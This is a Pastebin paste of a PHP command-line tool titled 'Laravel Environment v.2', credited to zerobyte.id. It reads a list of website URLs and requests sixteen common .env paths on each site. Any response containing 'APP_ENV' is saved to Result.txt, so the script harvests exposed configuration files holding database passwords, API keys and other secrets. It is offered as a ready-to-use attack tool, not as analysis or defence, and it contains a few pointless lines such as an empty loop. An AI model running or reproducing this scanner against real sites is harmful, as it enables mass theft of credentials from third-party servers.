zerobyte-id

[PHP CLI] Laravel Environment v.2

Oct 31st, 2018
13,110
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. function copyright()
  3. {
  4.     /*
  5.     https://zerobyte.id/
  6.     Recoded? only changed and delete copyright? Don't be a bastard dude!
  7.     */
  8.     system('clear');
  9.     echo "
  10.    __                                __
  11.   / /   ____ __________ __   _____  / /
  12.  / /   / __ `/ ___/ __ `/ | / / _ \/ /
  13. / /___/ /_/ / /  / /_/ /| |/ /  __/ /  
  14. /_____/\__,_/_/   \__,_/ |___/\___/_/ Environment v.2" . PHP_EOL;
  15. echo "                   Zerobyte.ID" . PHP_EOL;
  16.    
  17. }
  18. copyright();
  19. $grey  = "\e[37m";
  20. $green = "\e[92m";
  21. echo PHP_EOL . "Enter Your List : ";
  22. $url      = trim(fgets(STDIN));
  23. $kontorus = file_get_contents($url);
  24. $urls     = explode("\n", $kontorus);
  25. foreach ($urls as $list) {
  26.     $config = array(
  27.         "/.env",
  28.         "/vendor/.env",
  29.         "/lib/.env",
  30.         "/lab/.env",
  31.         "/cronlab/.env",
  32.         "/cron/.env",
  33.         "/core/.env",
  34.         "/core/app/.env",
  35.         "/core/Datavase/.env",
  36.         "/database/.env",
  37.         "/config/.env",
  38.         "/assets/.env",
  39.         "/app/.env",
  40.         "/apps/.env",
  41.         "/uploads/.env",
  42.         "/sitemaps/.env"
  43.     );
  44.     foreach ($config as $path) {
  45.         $shell = explode(PHP_EOL, $list);
  46.         for ($x = 0; $x < $path; $x++);
  47.         $site = $list . $path;
  48.         $ch   = curl_init($site);
  49.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36");
  50.         curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  51.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  52.         curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  53.         $ini_curl = curl_exec($ch);
  54.         curl_close($ch);
  55.         if (strpos($ini_curl, "APP_ENV")) {
  56.             echo $green . "[+] " . $site . " => Found Config [OK]\033[0m" . PHP_EOL;
  57.             $save = fopen("Result.txt", "a");
  58.             fwrite($save, $ini_curl . PHP_EOL);
  59.             fclose($save);
  60.         } else {
  61.             echo $grey . "[-] " . $site . " => [Config Not Found]\033[0m" . PHP_EOL;
  62.         }
  63.        
  64.     }
  65. }
  66. ?>
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×